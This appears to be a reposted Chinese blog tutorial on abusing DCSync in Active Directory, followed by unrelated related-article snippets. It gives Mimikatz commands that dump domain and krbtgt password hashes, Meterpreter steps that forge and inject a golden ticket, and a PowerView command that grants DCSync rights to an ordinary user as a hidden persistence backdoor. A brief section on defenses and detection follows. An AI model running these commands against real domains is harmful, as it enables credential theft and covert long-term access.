域內 dcsync 權限維持

一、原理?

20210825125600.png

DCSync 是域滲透中經常會用到的技術,其被整合在了 Mimikatz 中。在 DCSync 功能出現之前,要想獲得域用戶的哈希,需要登錄域控制器,在域控制器上執行代碼才能獲得域用戶的哈希。

Mimikatz的DCSync 功能:

該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。該功能最大的特點就是不用登陸域控制器,即可遠程通過域數據同步復制的方式獲得域控制器上的的數據。

在默認情況下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 組內的用戶有權限使用 DCSync,但我們可以對域內普通用戶添加 ACL (Access Control List) 實現普通用戶也能調用 DCSync 功能。

權限維持思路:

????????當獲得了域內管理員權限,如果能修改域內普通用戶的權限,使其具有DCSync權限的話,那么普通域用戶也能導出域內用戶的哈希,這樣可以做一個隱蔽的權限維持。默認只有域控主機賬號和域管理員能Dcsync,域管和郵件服務器的機器賬號有寫ACL的權限,可以給指定用戶添加Dcsync來dump域哈希。

二、實際操作

利用 DCSync 導出域內哈希

當我們獲取相應的權限后,可以利用 DCSync 功能導出域內用戶的哈希值。其原理就是利用 DRS (Directory Replication Service)協議通過 IDL_DRSGetNCChanges 從域控制器復制用戶哈希憑據。獲得了域內用戶的哈希后可以進一步利用。

通過 Mimikatz導出【還有其他的方法】

在獲取權限的域成員主機上執行如下:

# 導出域內指定用戶的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /user:administrator 
lsadump::dcsync /domain:whoamianony.org /user:administrator /csv# 導出域內所有用戶的信息(包括哈希值)
lsadump::dcsync /domain:whoamianony.org /all ? ?
lsadump::dcsync /domain:whoamianony.org /all /csv

利用 DCSync 制作黃金票據

在域滲透中,我們可以通過 DCSync 導出域控制器中 krbtgt 賬戶的哈希,并利用 krbtgt 賬戶的哈希制作黃金票據。

黃金票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》

測試環境如下:

image-20210824221346483

假設攻擊者已經拿下了內網主機 Windows 10,下面演示如何在內網中利用 DCSync 制作黃金票據來訪問 DC 上的資源。

拿下 Windows 10 主機之后,我們加載 kiwi 模塊:

load kiwi

image-20210824213230936

然后通過kiwi_cmd執行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能導出域控制器中 krbtgt 賬戶的哈希:

kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"

image-20210824214421165

然后我們便可以通過 krbtgt 賬戶的哈希生成黃金票據了:

golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck

執行后生成的票據會咱是存放在你的 Kali 上,然后清空目標主機上的票據:

kerberos_ticket_purge

image-20210824215536411

最后使用kerberos_ticket_use注入剛才生成的票據即可:

kerberos_ticket_use gold.tck

image-20210824215648481

如上圖所示,票據成功注入。此時,攻擊者就可以利用 Windows 7 任意訪問域控上的資源了:

dir \\DC\c$

image-20210824220003150

有了黃金票據之后的操作就簡單了,懂得都懂!

利用 DCSync 進行域內權限維持

要想利用 DCSync 功能,得要擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 組內的用戶權限,因此就讓普通域用戶擁有 DCSync 的操作權限,那么普通域用戶也能導出域內用戶的信息了,這樣可以可以做一個隱蔽的后門進行權限維持。

具體做法就是為普通域用戶添加三條 ACE 訪問權限控制項,賦予任意以下任一用戶的權限:

  • Domain Admins組內的用戶
  • Enterprise Admins組內的用戶

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

我們可以通過 Empire 框架中的 PowerView.ps1 腳本實現:

Import-Module .\powerview.ps1
?
# 為域用戶 whoami 添加以上三條 ACE
Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose

image-20210824235724341

三、DCSync 的防御

DCSync 攻擊的原理是模擬域控制器與域控制器之間的數據同步復制。最好的防御方法是給控制器設置白名單,將可信任的資產設置在允許同步的白名單內。

除此之外,我們還應嘗試枚舉 Active Directory 中所有用戶的 ACL 查詢出所有特權帳戶,檢測域內被添加 DCSync 權限的用戶。Github 上有一個項目?ACLight便提供了這樣的功能,只需執行項目中的 Execute-ACLight2.bat,便會生成以下三個文件:

Privileged Accounts - Layers Analysis.txt

Privileged Accounts Permissions - Final Report.csv

Privileged Accounts Permissions - Irregular Accounts.csv

文件中會顯示出所有特權帳戶。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/13577.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/13577.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/13577.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java8總結

java8總結 java8新特性總結1. 行為參數化2. lambda表達式2.1 函數式接口2.2 函數描述符 3. Stream API3.1 付諸實踐 java8新特性總結 行為參數化lambda表達式Stream Api 1. 行為參數化 定義:行為參數化,就是一個方法接受多個不同的行為作為參數&#x…

harmony 文件上傳

圖片上傳 1, 獲取文件,這里指的是圖片 在鴻蒙內部有一個API pick選擇器,實現文件保存和文件選擇的功能, 使用pick對象創建PhotoViewPicker實例 傳入必要的參數,如選擇圖片的數量,和彈出窗口的位置&#xf…

【機器學習】前沿探索,如何讓前端開發更加搞笑

在當今數字化時代,機器學習的崛起為前端開發帶來了巨大的機遇和挑戰。隨著人工智能和數據科學的不斷進步,前端工程師不再局限于傳統的界面設計和交互體驗,而是開始探索如何將機器學習技術融入到他們的工作中,以創造更加智能、個性…

面了一個程序員,因為6休1拒絕了我

人一輩子賴以生存下去的主要就考慮三件事,職業,事業,副業,有其1-2都是很不錯的。如果還沒到40歲,那不妨提前想下自己可能遇到的一些情況,提前做一些準備,未雨綢繆些。 今年整體就業大環境也一般…

【手寫大跟堆詳解】

文章目錄 大跟堆介紹大跟堆的結構大跟堆的應用場景大跟堆的代碼實現 大跟堆介紹 大根堆(Max Heap)是一種特殊的二叉樹結構,它滿足以下兩個條件: 1.完全二叉樹:大根堆是一棵完全二叉樹,即除了最后一層外&am…

一分鐘快速排序

這個 quick_sort 函數是一個實現快速排序(Quicksort)算法的遞歸函數。快速排序是一種高效的排序算法,通常用于對大規模數據集進行排序。以下是對該函數的詳細解釋: 函數簽名 void quick_sort(int q[], int l, int r)q[]&#xf…

Qt_電腦wifi相關操作

項目描述: 在做項目時用到了獲取wifi的操作。在網上查找了好久資料,這里做一些總結。 這里有顯示當前電腦wifi連接狀態,列出wifi列表,連接斷開wifi等函數。歡迎大家留言添加文章內容。 使用范圍: windows電腦(中文的環境) 使用技術:windows的cmd命令。和對字符串的解析…

C語言學習筆記--運算符與表達式(7521字爆肝)

上午好,本來想上午改簡歷下午學習c語言的,但想了一下上午精力充沛還是用來學習比較好,雖然現在失業了,但住在我姨家有吃有住的,再次感謝我姨,我要抓緊時間修改簡歷,然后找個工作搬出去&#xff…

【回憶版】數據科學思維與大數據智能分析 2024考試

填空(18分)18個 1.對數變換對大數值的范圍進行壓縮,對小數值的范圍進行擴展 2.提取出大量高頻率項與低頻率項相關聯的虛假模式,即交叉支持(cross-support)模式 3.信息論中() 4.幾種…

[數據集][目標檢測]彈簧上料檢測數據集VOC+YOLO格式142張2類別

數據集格式:Pascal VOC格式YOLO格式(不包含分割路徑的txt文件,僅僅包含jpg圖片以及對應的VOC格式xml文件和yolo格式txt文件) 圖片數量(jpg文件個數):142 標注數量(xml文件個數):142 標注數量(txt文件個數):142 標注類別…

yolov8訓練自己數據集時出現loss值為nan。

具體原因目前暫未尋找到。 解決辦法 將參數amp改成False即可。 相關資料: https://zhuanlan.zhihu.com/p/165152789 https://github.com/ultralytics/ultralytics/issues/1148

【BUG】Edge|聯想電腦 Bing 搜索報錯“Ref A: 亂碼、 Ref B:亂碼、Ref C: 日期” 的解決辦法

文章目錄 省流版前言解決辦法 詳細解釋版前言問題描述與排查過程解決辦法與總結 省流版 前言 我也不清楚咋滴了,Bing 搜索突然偶爾報錯: 換了代理關了插件都報錯。 參考: 我在用bing搜索時出現了如下代碼,導致bing無法使用&am…

nginx proxy_set_header詳解

proxy_set_header 是 Nginx 配置中的一個重要指令,特別是在使用 Nginx 作為反向代理時。該指令允許你修改由 Nginx 傳遞給代理后端的請求頭。這對于確保后端應用程序能夠接收到正確的客戶端信息(如 IP 地址、主機名等)以及控制緩存行為等場景…

1 計算機硬件-CPU-校驗碼-存儲系統-輸入輸出設備-總線結構

計算機硬件 考情分析:趨勢很小,22年考過,根據趨勢以后考的可能較小 基本組成:運算器,控制器,儲存器,輸入設備,輸出設備運算器和控制器也統稱為中央處理單元(CPU&#xf…

【算法訓練 day37 檸檬水找零、長度最小的子數組、用最少數量的箭引爆氣球】

目錄 一、檸檬水找零-LeetCode 860思路實現代碼個人問題總結 二、根據身高重建隊列-LeetCode 406思路實現代碼個人問題總結 三.用最少數量的箭引爆氣球-LeeCode 406思路實現代碼個人問題總結 一、檸檬水找零-LeetCode 860 Leecode鏈接: leetcode 860 文章鏈接: 代碼隨想錄 視頻…

解鎖Nginx跨域謎題:3步打造安全高效的CORS策略

Nginx作為一款強大的Web服務器和反向代理服務器,經常被用于處理跨域資源共享(CORS,Cross-Origin Resource Sharing)策略,以允許或限制不同源之間的資源請求。CORS是一種安全策略,用于決定Web瀏覽器是否應允…

深度學習——圖像分類(CNN)—測試模型

測試模型 1.導入必要的庫2.加載測試數據集3.假設CSV文件中的圖像文件名是完整的路徑4.隨機選擇一張圖片進行展示5.加載圖像6.使用模型進行預測7.設置模型的預測結果8.計算準確率9.指定test文件夾路徑10.讀取名為image_path的圖片11.加載圖像12.檢查圖像是否為空 訓練的模型是上…

eNSP學習——OSPF單區域配置

目錄 相關命令 實驗背景 實驗目的 實驗步驟 實驗拓撲 實驗編址 實驗步驟 1、基礎配置 2、部署單區域OSPF網絡 3、檢查OSPF單區域的配置結果 OSPF——開放式最短路徑優先 基于鏈路狀態的協議,具有收斂快、路由無環、擴展性好等優點; 相關命令 […

【JAVA基礎之內部類】匿名內部類

🔥作者主頁:小林同學的學習筆錄 🔥小林同學的專欄:JAVA之基礎專欄 目錄 1.內部類 1.1 概述 1.1.1 什么是內部類 1.1.2 什么時候使用內部類 1.2 內部類的分類 1.3 成員內部類 1.3.1 獲取成員內部類對象的兩種方式 1.3.2 經典面試…

用C語言把一棵普通二叉樹安排得明明白白

1. 樹的相關術語 結點的度:一個結點含有的子樹的個數稱為該結點的度; 如上圖:A的為6 葉結點或終端結點:度為0的結點稱為葉結點; 如上圖:B、C、H、I...等結點為葉結點 非終端結點或分支結點:度不…